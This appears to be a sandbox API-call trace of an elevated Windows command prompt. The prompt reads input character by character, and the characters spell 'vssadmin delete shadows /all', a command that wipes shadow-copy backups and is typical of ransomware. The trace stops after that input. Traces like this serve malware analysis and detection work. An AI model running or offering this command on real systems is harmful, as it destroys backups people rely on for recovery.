	[0215.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0215.286] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc90e98f918, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f918*=0x34, lpOverlapped=0x0) returned 1
	[0215.286] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc90e98f948 | out: _Buffer="\r\n") returned 2
	[0215.286] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.286] GetFileType (hFile=0x234) returned 0x3
	[0215.286] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0215.286] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc90e98f918, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f918*=0x2, lpOverlapped=0x0) returned 1
	[0215.287] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff8628a0000
	[0215.287] GetProcAddress (hModule=0x7ff8628a0000, lpProcName="CopyFileExW") returned 0x7ff8628be830
	[0215.287] GetProcAddress (hModule=0x7ff8628a0000, lpProcName="IsDebuggerPresent") returned 0x7ff8628be300
	[0215.287] GetProcAddress (hModule=0x7ff8628a0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff85f5b0a40
	[0215.287] ??_V@YAXPEAX@Z () returned 0x1
	[0215.287] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.287] GetFileType (hFile=0x228) returned 0x3
	[0215.287] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0215.287] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xc90e98f788 | out: TokenHandle=0xc90e98f788*=0x0) returned 0xc000007c
	[0215.287] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xc90e98f788 | out: TokenHandle=0xc90e98f788*=0x94) returned 0x0
	[0215.287] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xc90e98f738, TokenInformationLength=0x4, ReturnLength=0xc90e98f740 | out: TokenInformation=0xc90e98f738, ReturnLength=0xc90e98f740) returned 0x0
	[0215.287] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xc90e98f740, TokenInformationLength=0x4, ReturnLength=0xc90e98f738 | out: TokenInformation=0xc90e98f740, ReturnLength=0xc90e98f738) returned 0x0
	[0215.287] NtClose (Handle=0x94) returned 0x0
	[0215.287] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xc90e98f750, nSize=0x0, Arguments=0xc90e98f758 | out: lpBuffer="\x8380\xf777\x1d2") returned 0xf
	[0215.287] GetProcessHeap () returned 0x1d2f7770000
	[0215.288] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x218) returned 0x1d2f7776c00
	[0215.288] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f7a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0215.288] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0215.288] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0215.290] GetProcessHeap () returned 0x1d2f7770000
	[0215.290] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776c00) returned 1
	[0215.290] LocalFree (hMem=0x1d2f7778380) returned 0x0
	[0215.290] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc90e98f5c8 | out: _Buffer="\r\n") returned 2
	[0215.290] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.290] GetFileType (hFile=0x234) returned 0x3
	[0215.290] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0215.290] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc90e98f598, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f598*=0x2, lpOverlapped=0x0) returned 1
	[0215.290] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0215.290] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d2f7870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0215.290] malloc (_Size=0x107ce) returned 0x1d2f7880060
	[0215.291] _vsnwprintf (in: _Buffer=0x1d2f7880060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc90e98f5d8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0215.291] _vsnwprintf (in: _Buffer=0x1d2f7880086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xc90e98f5d8 | out: _Buffer=">") returned 1
	[0215.291] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.291] GetFileType (hFile=0x234) returned 0x3
	[0215.291] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0215.291] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xc90e98f5c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f5c8*=0x14, lpOverlapped=0x0) returned 1
	[0215.291] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.291] GetFileType (hFile=0x228) returned 0x3
	[0215.291] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.291] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.291] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1
	[0215.291] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.291] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.291] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0215.291] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.291] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.292] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0215.292] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.292] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.292] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0215.292] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.292] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.292] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0215.292] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.292] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.292] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0215.292] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.292] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.292] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0215.292] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.292] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.292] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0215.292] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.292] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.292] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.292] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.292] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.292] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0215.292] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.293] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.293] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.293] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.293] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.293] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0215.293] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.293] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.293] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.293] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.293] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.293] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0215.293] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.293] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.293] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.293] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.293] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.293] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.293] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.293] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.293] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0215.293] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.293] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.293] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0215.294] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.294] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.294] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0215.294] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.294] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.294] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0215.294] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.294] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.294] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0215.294] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.294] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.294] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0215.294] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.294] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.294] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0215.294] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.294] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.294] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.294] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.294] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.294] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0215.294] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.294] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.294] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0215.295] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.295] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.295] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0215.295] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.295] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.295] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0215.295] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.295] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
